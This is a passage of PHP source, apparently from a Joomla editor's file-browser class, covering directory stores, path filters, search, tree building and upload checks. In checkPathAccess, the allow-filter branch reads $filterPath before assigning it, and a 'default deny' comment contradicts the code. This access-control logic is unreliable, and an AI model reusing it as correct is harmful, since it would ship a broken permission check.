        if ($store) {
            // extract the path from the complex source path, eg: prefix:path
            $path = $this->extractPath($path);

            // make the source relative to the store path, eg: stories => images/stories
            $path = WFUtility::makePath($store['path'], $path);
        }

        return $path;
    }

    public function getDefaultPath()
    {
        $store = $this->getDirectoryStore();
        $values = reset($store); // get the first element

        return $values['prefix'] . ':';
    }

    private function getDirectoryStore()
    {
        $filesystem = $this->getFileSystem();

        // If Allow Root is enabled, return a single blank/root entry
        if (empty($filesystem->getRootDir())) {
            $hash = md5('__allow_root_access__');

            return array(
                $hash => array(
                    'path'   => '',
                    'label'  => '',
                    'prefix' => $hash,
                )
            );
        }

        $dir = (array) $this->get('dir');

        // Fallback to a single default directory if none set
        if (empty($dir)) {
            $path  = 'images';
            $label = '';

            Factory::getApplication()->triggerEvent('onWfFileSystemGetRootDir', array(&$path, &$label));

            $hash = md5($path);

            return array(
                $hash => array(
                    'path'   => $path,
                    'label'  => '',
                    'prefix' => $hash,
                )
            );
        }

        $newDir = array();

        foreach ($dir as $origKey => $item) {
            $item['path'] = isset($item['path']) ? trim($item['path']) : '';

            if ($item['path'] === '') {
                $item['path'] = 'images';
            }

            $processedPath = $this->processPath($item['path']);
            $label         = isset($item['label']) ? $item['label'] : '';

            if (count($dir) > 1 && $label === '') {
                $label = basename($processedPath);
            }

            // Process both path and label via the event
            Factory::getApplication()->triggerEvent('onWfFileSystemGetRootDir', array(&$processedPath, &$label));

            // Ensure the folder exists (create if missing)
            if ($filesystem->is_dir($processedPath) === false) {
                $name    = WFUtility::mb_basename($processedPath);
                $pathDir = WFUtility::mb_dirname($processedPath);

                if ($filesystem->createFolder($pathDir, $name) === false) {
                    // Skip this entry if it can't be created
                    continue;
                }
            }

            // New associative key from the (possibly changed) path
            $newKey = md5($processedPath);

            // Finalize fields
            $item['path']   = $processedPath;
            $item['label']  = htmlspecialchars((string) $label, ENT_QUOTES, 'UTF-8');
            $item['prefix'] = $newKey;

            // Write into rebuilt array (last one wins on key collision)
            $newDir[$newKey] = $item;
        }

        return $newDir;
    }

    public function getDirectoryStoreFromPath($path, $withKey = false)
    {
        $prefix = $this->parsePath($path); // get the prefix and remove it from the path value

        $store = $this->getDirectoryStore();

        if (empty($prefix)) {
            // no prefix, so return the default store
            foreach ($store as $key => $value) {
                // is this path with the default store?
                if (WFUtility::safe_strpos($path, $value['path']) === 0) {
                    // set the prefix to the store key
                    $prefix = $key;
                    break;
                }
            }
        }

        if (isset($store[$prefix])) {
            if ($withKey) {
                return $store;
            }

            // return the store entry for the prefix
            return $store[$prefix];
        }

        return array();
    }

    private function getPathFromDirectoryStore($path)
    {
        $path = trim($path, '/');

        // find the correct entry in the directory store
        $store = $this->getDirectoryStore();

        if (empty($path)) {
            return array_values($store);
        }

        // get the path prefix
        $prefix = $this->getPathPrefix($path);

        // no prefix?
        if (empty($prefix)) {
            $values  = array_values($store);
            $default = array_shift($values);
            return $default;
        }

        if (isset($store[$prefix])) {
            return $store[$prefix];
        }

        // no prefix found, return the path
        return $path;
    }

    private function getPathVariables()
    {
        static $variables;

        if (!isset($variables)) {
            $app = Factory::getApplication();
            $user = Factory::getUser();
            $wf = WFApplication::getInstance();
            $profile = $this->getProfile();

            $groups = UserHelper::getUserGroups($user->id);

            // get keys only
            $groups = array_keys($groups);

            // get the first group
            $group_id = array_shift($groups);

            if (is_int($group_id)) {
                // usergroup table
                $group = Table::getInstance('Usergroup');
                $group->load($group_id);
                // usertype
                $usertype = $group->title;
            } else {
                $usertype = $group_id;
            }

            $context = $app->input->getInt('context', null);

            $contextName = '';

            if (is_int($context)) {
                foreach (ComponentHelper::getComponents() as $component) {
                    if ($context == $component->id) {
                        $contextName = $component->option;
                        break;
                    }
                }
            }

            // Replace any path variables
            $path_pattern = array(
                '/\$id/',
                '/\$username/',
                '/\$name/',
                '/\$user(group|type)/',
                '/\$(group|profile)/',
                '/\$context/',
                '/\$hour/',
                '/\$day/',
                '/\$month/',
                '/\$year/',
            );

            $path_replacement = array(
                'id' => $user->id,
                'username' => $user->username,
                'name' => $user->name,
                'usertype' => $usertype,
                'profile' => $profile->name,
                'context' => $contextName,
                'hour' => date('H'),
                'day' => date('d'),
                'month' => date('m'),
                'year' => date('Y')
            );

            // expose variables
            $variables = compact('path_pattern', 'path_replacement');

            Factory::getApplication()->triggerEvent('onWfFileSystemBeforeGetPathVariables', array(&$variables));

            // convert to array values
            $path_replacement = array_values($variables['path_replacement']);
            $path_pattern = array_values($variables['path_pattern']);

            // get websafe options
            $websafe_textcase = $wf->getParam('editor.websafe_textcase', '');
            $websafe_mode = $wf->getParam('editor.websafe_mode', 'utf-8');
            $websafe_allow_spaces = $wf->getParam('editor.websafe_allow_spaces', '_');

            // implode textcase array to create string
            if (is_array($websafe_textcase)) {
                $websafe_textcase = implode(',', $websafe_textcase);
            }

            // expose variables
            $variables = compact('path_pattern', 'path_replacement', 'websafe_textcase', 'websafe_mode', 'websafe_allow_spaces');
        }

        Factory::getApplication()->triggerEvent('onWfFileSystemGetPathVariables', array(&$variables));

        return $variables;
    }

    public function processPath(&$path)
    {
        $path = preg_replace($this->get('path_pattern', array()), $this->get('path_replacement', array()), $path);

        // split into path parts to preserve /
        $parts = explode('/', $path);

        // clean path parts
        $parts = WFUtility::makeSafe($parts, $this->get('websafe_mode', 'utf-8'), $this->get('websafe_allow_spaces', '_'), $this->get('websafe_textcase', ''));

        // join path parts
        $path = implode('/', $parts);

        $path = trim($path, '/');

        return $path;
    }

    /**
     * Resolve a filter path relative to the store's base path.
     *
     * @param array  $store  The store array containing 'path' and 'prefix'.
     * @param string $filter The filter path to resolve.
     *
     * @return string The resolved filter path.
     */
    private function resolveFilterPath($store, $filter) {
        // remove leading and trailing slash
        $filter = trim($filter, '/');

        // make the source relative to the store path, eg: stories => images/stories
        $filterPath = WFUtility::makePath($store['path'], $filter);

        // trim leading and trailing slash
        return trim($filterPath, '/');
    }
    
    /**
     * Check if a path is accessible based on the defined filters.
     *
     * @param string $path The path to check.
     *
     * @return bool True if access is allowed, false otherwise.
     */
    public function checkPathAccess($path)
    {
        $path = trim($path, '/');

        $filters = $this->get('filter');

        // no filters set, allow all
        if (empty($filters)) {
            return true;
        }

        $allowFilters = [];
        $denyFilters = [];

        $store = $this->getPathFromDirectoryStore($path);

        // Categorize filters into allow and deny lists
        foreach ($filters as $filter) {
            // remove leading and trailing slash    
            $filter = trim($filter, '/');

            if (strpos($filter, '+') === 0) {
                $filter = substr($filterPath, 1);
            
                $filterPath = $this->resolveFilterPath($store, $filter);
            
                $allowFilters[] = $filterPath;
            } else if (strpos($filter, '-') === 0) {
                $filter = ltrim($filter, '-');

                $filterPath = $this->resolveFilterPath($store, $filter);

                $denyFilters[] = $filterPath;
            } else {
                $filterPath = $this->resolveFilterPath($store, $filter);
            
                $denyFilters[] = $filterPath;
            }
        }

        $access = true; // Default deny policy

        // explode path to array
        $path_parts = explode('/', $path);

        // Check allow filters
        foreach ($allowFilters as $filter) {
            $access = false;

            // process path for variables, text case etc.
            $this->processPath($filter);

            // explode to array
            $filter_parts = explode('/', $filter);

            // filter match
            if (false === empty(array_intersect_assoc($filter_parts, $path_parts))) {
                $access = true;
                break;
            }
        }

        if ($access === false) {
            return false;
        }

        // path is empty so no deny filters applied
        if (empty($path)) {
            return true;
        }

        // Check deny filters
        foreach ($denyFilters as $filter) {
            if (strpos($filter, '*') === 0) {
                $filter = substr($filter, 1);

                // process path for variables, text case etc.
                $this->processPath($filter);

                // explode to array
                $filter_parts = explode('/', $filter);

                // filter match
                if (false === empty(array_intersect($filter_parts, $path_parts))) {
                    $access = false;
                    break;
                }
            } else {
                // process path for variables, text case etc.
                $this->processPath($filter);

                if ($path === $filter) {
                    $access = false;
                    break;
                }
            }
        }

        return $access;
    }

    public function getBaseDir()
    {
        $filesystem = $this->getFileSystem();

        return $filesystem->getBaseDir();
    }

    /**
     * Get the list of files in a given folder.
     *
     * @param string $relative The relative path of the folder
     * @param string $filter   A regex filter option
     *
     * @return array list array
     */
    private function getFiles($relative, $filter = '.', $sort = '', $limit = 0, $start = 0)
    {
        $filesystem = $this->getFileSystem();
        $list = $filesystem->getFiles($relative, $filter, $sort, $limit, $start);

        $list = array_filter($list, function ($item) {
            // must have an id set
            if (empty($item['id'])) {
                return true;
            }

            $path = dirname($item['id']);

            return $this->checkPathAccess($path);
        });

        return $list;
    }

    /**
     * Get the list of folder in a given folder.
     *
     * @param string $relative The relative path of the folder
     *
     * @return array list array
     */
    private function getFolders($relative, $filter = '', $sort = '', $limit = 0, $start = 0)
    {
        $filesystem = $this->getFileSystem();
        $list = $filesystem->getFolders($relative, $filter, $sort, $limit, $start);

        $list = array_filter($list, function ($item) {
            if (empty($item['id'])) {
                return true;
            }

            return $this->checkPathAccess($item['id']);
        });

        return $list;
    }

    private static function sanitizeSearchTerm($term)
    {
        try {
            $query = preg_replace('#[^a-zA-Z0-9_\.\-\:~\pL\pM\pN\s\* ]#u', '', $term);
        } catch (\Exception $e) {
            $query = preg_replace('#[^a-zA-Z0-9_\.\-\:~\s\* ]#', '', $term);
        }

        if (is_null($query) || $query === false) {
            $query = preg_replace('#[^a-zA-Z0-9_\.\-\:~\s\* ]#', '', $term);
        }

        $query = trim($query);

        // quote first
        $query = preg_quote($query, '/');

        // then restore wildcards (escaped \* becomes real regex .*)
        $query = str_replace('\*', '.*', $query);

        return $query;
    }

    public function searchItems($path, $limit = 25, $start = 0, $query = '', $sort = '')
    {
        $result = array(
            'folders' => array(),
            'files' => array(),
            'total' => array(
                'folders' => 0,
                'files' => 0,
            ),
            'path' => '',
            'search' => true
        );

        // no query value? bail...
        if ($query == '') {
            return $result;
        }

        $filesystem = $this->getFileSystem();

        if (method_exists($filesystem, 'searchItems') === false) {
            return $this->getItems($path, $limit, $start, $query, $sort);
        }

        // define and configure seach parameters
        $filetypes = (array) $this->getFileTypes('array');

        // Split query by "OR" or "|" operators
        $terms = array_map('trim', preg_split('/\s*(?:\bOR\b|\|)\s*/i', $query, -1, PREG_SPLIT_NO_EMPTY));

        $extensions = [];
        $keywords = [];

        foreach ($terms as $term) {
            if (
                strpos($term, '.') === 0 ||                            // ".jpg"
                (strpos($term, '*.') === 0 && strlen($term) > 2)       // "*.jpg"
            ) {
                // It's an extension
                $extensions[] = WFUtility::makeSafe($term);
            } elseif ($term !== '') {
                // It's a keyword, clean and convert wildcards
                foreach (preg_split('/\s+/', $term, -1, PREG_SPLIT_NO_EMPTY) as $subterm) {
                    $keywords[] = self::sanitizeSearchTerm($subterm);
                }
            }
        }

        // Filter filetypes
        if (!empty($extensions)) {
            $filetypes = array_filter($filetypes, function ($value) use ($extensions) {
                return in_array($value, $extensions, true);
            });
        }

        // Build keyword regex (match any of the keywords, case-insensitive)
        $filter = '';

        if (!empty($keywords)) {
            $filter = '^(?i).*(' . implode('|', $keywords) . ').*';
        }

        // query filter
        /*$keyword = '^(?i).*' . $keyword . '.*';

        if ($query[0] === '.') {
            // clean query removing leading .
            $extension = WFUtility::makeSafe($query);

            $filetypes = array_filter($filetypes, function ($value) use ($extension) {
                return $value === $extension;
            });

            $filter = '';
        }*/

        // get search depth
        $depth = $this->get('search_depth', 3);

        // trim the passed in path if any
        $path = trim($path, '/');

        // no path value or root folder so get the default directories
        if (empty($path)) {
            $store = $this->getDirectoryStore();

            if (!empty($store)) {
                // case to array values as we don't need the keys
                $storeArray = array_values($store);
            }
        } else {
            // get the store array from the complex source path, eg: prefix:path
            $store = $this->getPathFromDirectoryStore($path);

            // extract the path from the complex source path, eg: prefix:path
            $path = $this->extractPath($path);

            $storeArray = array($store);
        }

        // search each store item
        foreach ($storeArray as $storeItem) {
            // define the prefix from the store array
            $prefix = $storeItem['prefix'];

            // make the source relative to the store path, eg: stories => images/stories
            $source = WFUtility::makePath($storeItem['path'], $path);

            // trim leading and trailing slash
            $source = trim($source, '/');

            $list = $filesystem->searchItems($source, $filter, $filetypes, $sort, $depth);

            $items = array_merge($list['folders'], $list['files']);

            // get properties for found items by type
            foreach ($items as $item) {
                $type = $item['type'];

                // remove the $store['path'] value from the beginning of the id, must be multibyte safe
                if (WFUtility::safe_strpos($item['id'], $storeItem['path']) === 0) {
                    $item['id'] = WFUtility::safe_substr($item['id'], WFUtility::safe_strlen($storeItem['path']));

                    // trim leading and trailing slash
                    $item['id'] = trim($item['id'], '/');
                }

                if ($type === 'files') {
                    $item['classes'] = '';

                    $item['path'] = WFUtility::makePath($storeItem['path'], $item['id']);

                    if (empty($item['properties'])) {
                        $item['properties'] = $filesystem->getFileDetails($item);
                    }
                }

                if ($type === 'folders') {
                    $item['path'] = WFUtility::makePath($storeItem['path'], $item['id']);

                    if (empty($item['properties'])) {
                        $item['properties'] = $filesystem->getFolderDetails($item);
                    }
                }

                $item['id'] = $prefix . ':' . $item['id'];

                $item['name'] = WFUtility::mb_basename($item['name']);
                $item['name'] = htmlspecialchars($item['name'], ENT_QUOTES, 'UTF-8');

                $result[$type][] = $item;
            }
        }

        // walk through the folders and files, reducing the result by the limit value if > 0
        if ($limit > 0) {
            $result['folders']  = array_slice($result['folders'], $start, $limit);
            $result['files']    = array_slice($result['files'], $start, $limit);
        }

        $result['total']['folder'] = count($result['folders']);
        $result['total']['files'] = count($result['files']);

        // Fire Event passing result as reference
        $this->fireEvent('onSearchItems', array(&$result));

        return $result;
    }

    public function getRootDir($source)
    {
        return $source;
    }

    /**
     * Get file and folder lists.
     *
     * @return array Array of file and folder list objects
     *
     * @param string $source   Relative or absolute path based either on source url or current directory
     * @param int    $limit    List limit
     * @param int    $start    list start point
     */
    public function getItems($source, $limit = 25, $start = 0, $filter = '', $sort = '')
    {
        $filesystem = $this->getFileSystem();

        $files = array();
        $folders = array();

        clearstatcache();

        // decode path
        $source = rawurldecode($source);

        // check if source is a valid path
        WFUtility::checkPath($source);

        // trim source to path variable
        $path = trim($source, '/');

        // if a value is set process as possible return file, ie: check for prefix
        if ($path) {
            $prefix = $this->getPathPrefix($path);

            // may be a passed in value, eg: images/stories/fruit.jpg
            if (!$prefix) {
                // get source dir from path eg: images/stories/fruit.jpg = images/stories
                $path = $this->getSourceDir($path);
            }
        }

        // get the store array from the complex path path, eg: prefix:path
        $store = $this->getDirectoryStoreFromPath($path);

        // no path so get the default directories
        if (empty($path) || empty($store)) {
            $store = $this->getDirectoryStore();

            if (!empty($store)) {
                $storeArray = array_values($store);

                // defined list of directories
                if (count($storeArray) > 1) {
                    $folders = [];

                    foreach ($storeArray as $items) {
                        $folders[] = array(
                            'id'            => $items['prefix'] . ':',
                            'name'          => $items['label'],
                            'type'          => 'folders',
                            'properties'    => array(),
                        );
                    }

                    // return an array of root folder items
                    return array(
                        'folders' => $folders,
                        'files' => array(),
                        'total' => array(
                            'folders' => count($folders),
                            'files' => 0,
                        ),
                    );
                }

                // no defined directories, so use the first one for backward compatibility
                $store = $storeArray[0];
            }
        } else {
            // get the store array from the complex path path, eg: prefix:path
            if (!$prefix) {
                // make relative to the store path, eg: images/stories => stories
                if (WFUtility::safe_strpos($path, $store['path']) === 0) {
                    $path = WFUtility::safe_substr($path, WFUtility::safe_strlen($store['path']));
                    // trim
                    $path = trim($path, '/');
                }
            } else {
                // extract the path from the complex source path, eg: prefix:path
                $path = $this->extractPath($path);
            }
        }

        // define the prefix from the store array
        $prefix = $store['prefix'];

        // make the source relative to the store path, eg: stories => images/stories
        $fullpath = WFUtility::makePath($store['path'], $path);

        // revert to store path if the path is not a directory
        if (!$filesystem->is_dir($fullpath)) {
            $fullpath = $store['path'];
            $path = ''; // reset path to empty
        }

        // trim leading and trailing slash
        $fullpath = trim($fullpath, '/');

        $filetypes = (array) $this->getFileTypes('array');

        $name = '';

        if ($filter) {
            if ($filter[0] == '.') {
                $ext = WFUtility::makeSafe($filter);

                for ($i = 0; $i < count($filetypes); ++$i) {
                    if (preg_match('#^' . $ext . '#', $filetypes[$i]) === false) {
                        unset($filetypes[$i]);
                    }
                }
            } else {
                $name = '^(?i).*' . WFUtility::makeSafe($filter) . '.*';
            }
        }

        // get file list by filter
        $files = $this->getFiles($fullpath, $name . '\.(?i)(' . implode('|', $filetypes) . ')$', $sort, $limit, $start);

        if (empty($filter) || $filter[0] != '.') {
            // get folder list
            $folders = $this->getFolders($fullpath, '^(?i).*' . WFUtility::makeSafe($filter) . '.*', $sort, $limit, $start);
        }

        $folderArray = array();
        $fileArray = array();

        $items = array_merge($folders, $files);

        if (count($items)) {
            if (intval($limit) > 0) {
                $items = array_slice($items, $start, $limit);
            }

            foreach ($items as $item) {
                $item['classes'] = '';

                // remove the $store['path'] value from the beginning of the id, must be multibyte safe
                if (WFUtility::safe_strpos($item['id'], $store['path']) === 0) {
                    $item['id'] = WFUtility::safe_substr($item['id'], WFUtility::safe_strlen($store['path']));
                }

                // trim $id removing leading and trailing slashes
                $item['id'] = trim($item['id'], '/');
                // encode id for html
                $item['id'] = htmlspecialchars($item['id'], ENT_QUOTES, 'UTF-8');

                // ensure name is relative
                $item['name'] = WFUtility::mb_basename($item['name']);

                // encode name for html
                $item['name'] = htmlspecialchars($item['name'], ENT_QUOTES, 'UTF-8');

                // create path
                $item['path'] = WFUtility::makePath($store['path'], $item['id']);

                // add the path prefix to the id
                $item['id'] = $prefix . ':' . $item['id'];

                if ($item['type'] == 'folders') {
                    if (empty($item['properties'])) {
                        $item['properties'] = $filesystem->getFolderDetails($item);
                    }

                    $folderArray[] = $item;
                } else {
                    // check for selected item
                    $item['selected'] = $filesystem->isMatch($item['url'], $source);

                    if (empty($item['properties'])) {
                        $item['properties'] = $filesystem->getFileDetails($item);
                    }

                    $fileArray[] = $item;
                }
            }
        }

        $result = array(
            'folders' => $folderArray,
            'files' => $fileArray,
            'total' => array(
                'folders' => count($folders),
                'files' => count($files),
            ),
            'path' => $prefix . ':' . $path,
        );

        // Fire Event passing result as reference
        $this->fireEvent('onGetItems', array(&$result));

        return $result;
    }

    /**
     * Get a tree node.
     *
     * @param string $dir The relative path of the folder to search
     *
     * @return Tree node array
     */
    public function getTreeItem($path = "")
    {
        $path = rawurldecode($path);

        WFUtility::checkPath($path);

        $path = trim($path, '/');

        $folders = array();

        $label = '';

        if (empty($path)) {
            $store = $this->getDirectoryStore();
            $storeArray = array_values($store);

            if (count($storeArray) > 1) {
                foreach ($storeArray as $item) {
                    $folders[] = array(
                        'id'    => $item['prefix'] . ':',
                        'name'  => $item['label'],
                        'path'  => $item['path'],
                        'class' => 'folder'
                    );
                }
            } else {
                $store = $storeArray[0];
                $folders = $this->getFolders($store['path']);

                $label = isset($store['label']) ? $store['label'] : '';

                array_walk($folders, function (&$item) use ($store) {
                    $path = $item['id'];

                    // remove the $store['path'] value from the beginning of the id, must be multibyte safe
                    if (WFUtility::safe_strpos($item['id'], $store['path']) === 0) {
                        $item['id'] = WFUtility::safe_substr($item['id'], WFUtility::safe_strlen($store['path']));
                    }

                    $item['id'] = trim($item['id'], '/');
                    $path = trim($path, '/');

                    $item['id']     = $store['prefix'] . ':' . $item['id'];
                    $item['path']   = $path;
                    $item['class']  = 'folder';
                });
            }
        } else {
            // get the store array from the complex source path, eg: prefix:path
            $store = $this->getDirectoryStoreFromPath($path);

            // extract the path from the complex source path, eg: prefix:path
            $path = $this->extractPath($path);

            // make the source relative to the store path, eg: stories => images/stories
            $path = WFUtility::makePath($store['path'], $path);

            // get source dir from path eg: images/stories/fruit.jpg = images/stories
            $source = $this->getSourceDir($path);

            // get folder list
            $folders = $this->getFolders($source);

            array_walk($folders, function (&$item) use ($store, $path) {
                // remove the $store['path'] value from the beginning of the id, must be multibyte safe
                if (WFUtility::safe_strpos($item['id'], $store['path']) === 0) {
                    $item['id'] = WFUtility::safe_substr($item['id'], WFUtility::safe_strlen($store['path']));
                }

                $item['id'] = trim($item['id'], '/');

                $item['id']     = $store['prefix'] . ':' . $item['id'];
                $item['path']   = WFUtility::makePath($path, $item['name']);
                $item['class']  = 'folder';
            });
        }

        $result = array(
            'label'     => $label,
            'folders'   => $folders
        );

        return $result;
    }

    /**
     * Build a tree list.
     *
     * @param string $dir The relative path of the folder to search
     *
     * @return Tree html string
     */
    public function getTree($path = '')
    {
        // decode path
        $path = rawurldecode($path);

        WFUtility::checkPath($path);

        $result = $this->getTreeItems($path);

        return $result;
    }

    /**
     * Get Tree list items as html list.
     *
     * @return Tree list html string
     *
     * @param string $path            Current directory
     * @param bool   $root[optional] Is root directory
     * @param bool   $init[optional] Is tree initialisation
     */
    public function getTreeItems($path, $root = true, $init = true)
    {
        $result = '';

        static $treedir = null;

        $folders = [];

        if ($init) {
            $treedir = $path;

            $items = $this->getTreeItem();
            $folders = $items['folders'];

            $label = $items['label'] ? $items['label'] :  Text::_('WF_LABEL_HOME', 'Home');

            if ($root) {
                $result .= '
                <ul>
                    <li data-id="/" class="uk-tree-open uk-tree-root uk-padding-remove">
                        <div class="uk-tree-row">
                            <a href="#">
                                <span class="uk-tree-icon" role="presentation">
                                    <i class="uk-icon uk-icon-home"></i>
                                </span>
                                <span class="uk-tree-text">' . htmlspecialchars($label, ENT_QUOTES, 'UTF-8') . '</span>
                            </a>
                        </div>
                ';
            }
        } else {
            $items = $this->getTreeItem($path);
            $folders = $items['folders'];
        }

        if (count($folders)) {
            $result .= '<ul class="uk-tree-node">';

            $open = false;

            foreach ($folders as $folder) {
                $id = trim($folder['id'], '/');

                if ($treedir) {
                    // resolve $treedir
                    $resolved = $this->resolvePath($treedir);

                    // check if the folder is open, ie: the path matches the current directory
                    $open = (bool) preg_match('#' . preg_quote($folder['path']) . '\b#', $resolved);
                }

                $result .= '
                <li data-id="' . htmlspecialchars($id, ENT_QUOTES, 'UTF-8') . '" class="' . ($open ? 'uk-tree-open' : '') . '">
                    <div class="uk-tree-row">
                        <a href="#">
                            <span class="uk-tree-icon" role="presentation"></span>
                            <span class="uk-tree-text uk-text-truncate" title="' . $folder['name'] . '">' . $folder['name'] . '</span>
                        </a>
                    </div>';

                if ($open) {
                    $result .= $this->getTreeItems($id, false, false);
                }

                $result .= '</li>';
            }

            $result .= '</ul>';
        }

        if ($init && $root) {
            $result .= '</li></ul>';
        }

        $init = false;

        return $result;
    }

    /**
     * Get a folders properties.
     *
     * @return array Array of properties
     *
     * @param string $dir Folder relative path
     */
    public function getFolderDetails($dir)
    {
        WFUtility::checkPath($dir);

        $filesystem = $this->getFileSystem();

        // get array with folder date and content count eg: array('date'=>'00-00-000', 'folders'=>1, 'files'=>2);
        return $filesystem->getFolderDetails($dir);
    }

    /**
     * Get a files properties.
     *
     * @return array Array of properties
     *
     * @param string $file File relative path
     */
    public function getFileDetails($file)
    {
        WFUtility::checkPath($file);

        $filesystem = $this->getFileSystem();

        // get array with folder date and content count eg: array('date'=>'00-00-000', 'folders'=>1, 'files'=>2);
        return $filesystem->getFileDetails($file);
    }

    /**
     * Create default actions based on access.
     */
    private function addDefaultActions()
    {
        if ($this->checkFeature('help')) {
            $this->addAction('help', array('title' => Text::_('WF_BUTTON_HELP')));
        }

        if ($this->checkFeature('upload')) {
            $this->addAction('upload');
            $this->setRequest(array($this, 'upload'));
        }

        if ($this->checkFeature('create', 'folder')) {
            $this->addAction('folder_new');
            $this->setRequest(array($this, 'folderNew'));
        }
    }

    /**
     * Add an action to the list.
     *
     * @param string $name    Action name
     * @param array  $options Array of options
     */
    public function addAction($name, $options = array())
    {
        if (!is_array($options)) {
            list($name, $options['icon'], $options['action'], $options['title']) = func_get_args();
        }

        $options = array_merge(array('name' => $name), $options);

        // set some defaults
        if (!array_key_exists('icon', $options)) {
            $options['icon'] = '';
        }

        if (!array_key_exists('action', $options)) {
            $options['action'] = '';
        }

        if (!array_key_exists('title', $options)) {
            $options['title'] = Text::_('WF_BUTTON_' . strtoupper($name));
        }

        $this->_actions[$name] = $options;
    }

    /**
     * Get all actions.
     *
     * @return object
     */
    private function getActions()
    {
        return array_reverse($this->_actions);
    }

    /**
     * Remove an action from the list by name.
     *
     * @param string $name Action name to remove
     */
    public function removeAction($name)
    {
        if (isset($this->_actions[$name])) {
            unset($this->_actions[$name]);
        }
    }

    /**
     * Create all standard buttons based on access.
     */
    private function addDefaultButtons()
    {
        if ($this->checkFeature('delete', 'folder')) {
            $this->addButton('folder', 'delete', array('multiple' => true));

            $this->setRequest(array($this, 'deleteItem'));
        }
        if ($this->checkFeature('rename', 'folder')) {
            $this->addButton('folder', 'rename');

            $this->setRequest(array($this, 'renameItem'));
        }
        if ($this->checkFeature('move', 'folder')) {
            $this->addButton('folder', 'copy', array('multiple' => true));
            $this->addButton('folder', 'cut', array('multiple' => true));

            $this->addButton('folder', 'paste', array('multiple' => true, 'trigger' => true));

            $this->setRequest(array($this, 'copyItem'));
            $this->setRequest(array($this, 'moveItem'));
        }
        if ($this->checkFeature('rename', 'file')) {
            $this->addButton('file', 'rename');

            $this->setRequest(array($this, 'renameItem'));
        }
        if ($this->checkFeature('delete', 'file')) {
            $this->addButton('file', 'delete', array('multiple' => true));

            $this->setRequest(array($this, 'deleteItem'));
        }
        if ($this->checkFeature('move', 'file')) {
            $this->addButton('file', 'copy', array('multiple' => true));
            $this->addButton('file', 'cut', array('multiple' => true));

            $this->addButton('file', 'paste', array('multiple' => true, 'trigger' => true));

            $this->setRequest(array($this, 'copyItem'));
            $this->setRequest(array($this, 'moveItem'));
        }
        $this->addButton('file', 'view', array('restrict' => $this->getViewable()));
    }

    /**
     * Add a button.
     *
     * @param string $type[optional]     Button type (file or folder)
     * @param string $name               Button name
     * @param string $icon[optional]     Button icon
     * @param string $action[optional]   Button action / function
     * @param string $title              Button title
     * @param bool   $multiple[optional] Supports multiple file selection
     * @param bool   $trigger[optional]
     */
    public function addButton($type, $name, $options = array())
    {
        $options = array_merge(array('name' => $name), $options);

        // set some defaults
        if (!array_key_exists('icon', $options)) {
            $options['icon'] = '';
        }

        if (!array_key_exists('action', $options)) {
            $options['action'] = '';
        }

        if (!array_key_exists('title', $options)) {
            $options['title'] = Text::_('WF_BUTTON_' . strtoupper($name));
        }

        if (!array_key_exists('multiple', $options)) {
            $options['multiple'] = false;
        }

        if (!array_key_exists('trigger', $options)) {
            $options['trigger'] = false;
        }

        if (!array_key_exists('restrict', $options)) {
            $options['restrict'] = '';
        }

        $this->_buttons[$type][$name] = $options;
    }

    /**
     * Return an object list of all buttons.
     *
     * @return object
     */
    private function getButtons()
    {
        return $this->_buttons;
    }

    /**
     * Remove a button.
     *
     * @param string $type Button type
     * @param string $name Button name
     */
    public function removeButton($type, $name)
    {
        if (array_key_exists($name, $this->_buttons[$type])) {
            unset($this->_buttons[$type][$name]);
        }
    }

    /**
     * Change a buttons properties.
     *
     * @param string $type Button type
     * @param string $name Button name
     * @param array $keys Button keys
     */
    public function changeButton($type, $name, $keys)
    {
        foreach ($keys as $key => $value) {
            if (isset($this->_buttons[$type][$name][$key])) {
                $this->_buttons[$type][$name][$key] = $value;
            }
        }
    }

    /**
     * Add an event.
     *
     * @param string $name     Event name
     * @param string $function Event function name
     */
    public function addEvent($name, $function)
    {
        $this->_events[$name] = $function;
    }

    /**
     * Execute an event.
     *
     * @return array result
     *
     * @param object $name           Event name
     * @param array  $args[optional] Optional arguments
     */
    protected function fireEvent($name, $args = null)
    {
        if (array_key_exists($name, $this->_events)) {
            $event = $this->_events[$name];

            if (is_array($event)) {
                return call_user_func_array($event, $args);
            } else {
                return call_user_func($event, $args);
            }
        }

        return array();
    }

    private function validateUploadedFile($file)
    {
        // check the POST data array
        if (empty($file) || empty($file['tmp_name'])) {
            throw new InvalidArgumentException('Upload Failed: No data');
        }

        // check for tmp_name and is valid uploaded file
        if (!is_uploaded_file($file['tmp_name'])) {
            @unlink($file['tmp_name']);
            throw new InvalidArgumentException('Upload Failed: Not an uploaded file');
        }

        $upload = $this->get('upload');

        // check file for various issues
        if (WFUtility::isSafeFile($file) !== true) {
            @unlink($file['tmp_name']);
            throw new InvalidArgumentException('Upload Failed: Invalid file');
        }

        // get extension
        $ext = WFUtility::getExtension($file['name'], true);

        // check extension is allowed
        $allowed = (array) $this->getFileTypes('array');

        if (is_array($allowed) && !empty($allowed) && in_array($ext, $allowed) === false) {
            @unlink($file['tmp_name']);
            throw new InvalidArgumentException(Text::_('WF_MANAGER_UPLOAD_INVALID_EXT_ERROR'));
        }

        $size = round(filesize($file['tmp_name']) / 1024);

        if (empty($upload['max_size'])) {
            $upload['max_size'] = 1024;
        }

        // validate size
        if ($size > (int) $upload['max_size']) {
            @unlink($file['tmp_name']);

            throw new InvalidArgumentException(Text::sprintf('WF_MANAGER_UPLOAD_SIZE_ERROR', $file['name'], $size, $upload['max_size']));
        }

        // validate mimetype
        if ($upload['validate_mimetype']) {
            if (WFMimeType::check($file['name'], $file['tmp_name']) === false) {
                @unlink($file['tmp_name']);
                throw new InvalidArgumentException(Text::_('WF_MANAGER_UPLOAD_MIME_ERROR'));
            }
        }

        return true;
    }

    /**
     * Upload a file.
     *
     * @return array $error on failure or uploaded file name on success
     */
    public function upload()
    {
        // Check for request forgeries
        Session::checkToken('request') or jexit(Text::_('JINVALID_TOKEN'));

        // check for feature access
        if (!$this->checkFeature('upload')) {
            throw new Exception(Text::_('JERROR_ALERTNOAUTHOR'));
        }

        $app = Factory::getApplication();

        $filesystem = $this->getFileSystem();

        // create a filesystem result object
        $result = new WFFileSystemResult();

        // get uploaded file
        $file = $app->input->files->get('file', array(), 'raw');

        // validate file
        $this->validateUploadedFile($file);

        // get file name
        $name = (string) $app->input->get('name', $file['name'], 'STRING');

        // decode
        $name = rawurldecode($name);

        // check name
        if (WFUtility::validateFileName($name) === false) {
            throw new InvalidArgumentException('Upload Failed: The file name is invalid.');
        }

        // check file name
        WFUtility::checkPath($name);

        // get extension from file name
        $ext = WFUtility::getExtension($file['name']);

        // trim extension
        $ext = trim($ext);

